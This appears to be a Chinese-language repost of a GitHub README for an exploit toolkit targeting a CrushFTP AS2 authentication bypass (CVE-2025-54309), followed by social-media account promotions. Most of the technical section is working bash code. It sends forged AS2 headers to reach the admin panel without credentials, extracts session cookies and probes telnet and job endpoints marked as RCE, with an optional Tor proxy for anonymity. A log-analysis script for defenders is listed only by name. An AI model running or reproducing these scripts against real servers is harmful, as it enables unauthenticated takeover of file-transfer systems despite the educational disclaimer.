CrushFTP AS2 身份验证绕过漏洞CVE-2025-54309研究与利用工具集⚠️ 重要提示此漏洞已于2025年11月被 CrushFTP 官方修复。本研究成果仅用于教育和防御目的请勿用于非法攻击。 说明本研究基于与 CVE-2025-54309 相似的漏洞模式。本仓库记录的是在一个受控的家庭实验室环境中进行的独立安全研究。关于本研究本仓库详细记录了一个严重的身份验证绕过漏洞该漏洞允许攻击者通过操纵 AS2 协议头以单个 HTTP 请求即可获取 CrushFTP 服务器的完整管理权限整个过程无需任何身份验证。关键时间线:研究时间2025年3月-7月授权家庭实验室厂商通知2025年8月未收到回复官方修复2025年11月公开披露2025年12月研究者:SmileyFace101 (SmileyFace101) 漏洞详情技术摘要CrushFTP 的 Web 界面错误地信任了来自 AS2 协议头的请求且未进行充分的验证。服务器默认假定所有带有特定 AS2 头的请求都是预先认证过的从而绕过了正常的身份验证流程。关键信息受影响产品CrushFTP 服务器漏洞组件AS2 认证模块CVSS 预估分9.8 (严重)攻击向量HTTP 头操纵攻击复杂度低单个HTTP请求所需权限无需任何认证潜在影响系统完全被接管✨ 功能特性漏洞技术分析详细说明了漏洞的成因、攻击原理和影响范围。自适应利用脚本 (adaptive_exploit.sh)一个灵活的测试工具能尝试多种不同的认证绕过策略自动寻找最有效的利用方式。完整利用脚本 (complete_exploit.sh)演示从绕过认证到获取有效会话Cookie的完整攻击链为进一步的授权操作铺平道路。目标端点测试脚本 (targeted_test.sh)在获取会话后针对 CrushFTP 中一系列高价值的后台管理端点如Telnet接口、任务管理、用户管理等进行访问测试直观展示漏洞危害。日志分析脚本 (log_analysis.sh)帮助防御者在 Web 服务器和应用日志中搜索可疑的利用痕迹用于事后排查与取证。 安装指南系统要求操作系统Linux 或 macOS脚本基于 Bash 编写依赖项curl: 用于发送 HTTP 请求。grep,sed,wc: 标准的文本处理工具。tor(可选): 用于通过代理匿名化测试流量。安装步骤克隆仓库gitclone https://github.com/your-repo/cve-2025-54309-research.gitcdcve-2025-54309-research赋予脚本执行权限chmodx *.sh可选配置代理如果需要通过 Tor 网络进行匿名测试请确保 Tor 服务已安装并运行。脚本默认会尝试使用socks5h://127.0.0.1:9050作为代理。 使用说明所有脚本的使用方法基本一致均接受目标 IP 和是否使用代理作为参数。基础使用示例1. 使用日志分析脚本进行入侵排查此命令会在/var/log目录下分析日志寻找可能的漏洞利用痕迹并将结果输出到一个带时间戳的文件中。./log_analysis.sh /var/log2. 执行完整的漏洞利用链对目标192.168.1.100进行完整的漏洞利用测试不使用代理。./complete_exploit.sh192.168.1.100 no典型使用场景授权渗透测试使用adaptive_exploit.sh快速验证目标 CrushFTP 服务器是否存在漏洞并尝试获取有效会话。漏洞危害演示使用targeted_test.sh在获取会话后系统地展示攻击者能够访问哪些敏感功能和数据。安全事件响应使用log_analysis.sh对可疑服务器进行快速排查确认是否曾遭受过此类攻击。核心脚本概览adaptive_exploit.sh多策略自适应利用脚本用于测试不同的头部组合和利用方法。complete_exploit.sh完整的漏洞利用脚本演示从绕过到获取会话的全过程。targeted_test.sh在获得会话后用于测试高价值管理端点的脚本。log_analysis.sh用于搜索日志中漏洞利用痕迹的分析工具。 核心代码1. 完整的漏洞利用链 (complete_exploit.sh核心片段)此代码展示了如何通过构造特殊的 AS2 头部来绕过认证并进一步生成用于后续授权的会话 Cookie。#!/bin/bash# ...# 配置目标地址和代理TARGET${1:-10.0.100.50}# ...echo-e${BLUE}[*] Phase 1: Testing AS2 authentication bypass...${NC}# 使用 AS2 特定头部请求管理后台测试绕过是否成功response_size$(curl-s $PROXY\-HX-DMZ-Proxy: disabled\-HX-AS2-Version: 1.0\-HUser-Agent: AS2Server/1.0\http://$TARGET/WebInterface/admin/index.html|wc-c)# 如果返回页面大小大于15000字节通常意味着绕过成功if[$response_size-gt15000];thenecho-e${GREEN}[✓] Admin panel access successful:$response_sizebytes${NC}# ...fi# Phase 2: Generate Session Cookiesechoecho-e${BLUE}[*] Phase 2: Generating session cookies...${NC}# 通过访问一个需要认证的函数端点服务器会在响应中返回Set-Cookie头cookie_response$(curl-i -s -k $PROXY\-X POST -HX-DMZ-Proxy: disabled-HX-AS2-Version: 1.0\-HContent-Type: application/x-www-form-urlencoded\-dcommandgetUsername\http://$TARGET/WebInterface/function/)# Phase 3: Extract Tokens... (后续代码从响应中提取currentAuth和CrushAuth)# ...2. 高价值端点测试 (targeted_test.sh核心片段)在成功获取会话后此段代码会携带有效的 Cookie 对一系列敏感的管理端点进行访问测试以验证漏洞的实际危害。#!/bin/bash# ...# 获取会话Cookie (代码略)# ...# 定义要测试的高价值端点列表declare-aendpoints(/WebInterface/admin/index.html:Main Admin Panel/WebInterface/admin/telnet.html:Telnet Interface (RCE)/WebInterface/Jobs/index.html:Job Management (RCE)# ...)echo-e${BLUE}[*] Testing high-value administrative endpoints...${NC}# 循环遍历并测试每个端点forendpoint_infoin${endpoints[]};doIFS:read-r endpoint description$endpoint_infoecho-e${YELLOW}Testing:${description}${NC}# 使用获取到的会话Cookie发送请求response_size$(curl-s $PROXY\-HX-DMZ-Proxy: disabled\-HX-AS2-Version: 1.0\-HCookie: currentAuth$currentAuth; CrushAuth$crushAuth\http://$TARGET${endpoint}|wc-c)# 根据响应大小判断访问结果if[$response_size-gt1000];thenecho-e${GREEN}[✓] Accessible:$response_sizebytes${NC}# ...fiechodone# ...FINISHED 6HFtX5dABrKlqXeO5PUv//NN4l5zmd4xjHxkGKWA3dS/fjxIgjvVg70qPybMQo4NSLguzF97hjfgk6RuxZwUg更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手 对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享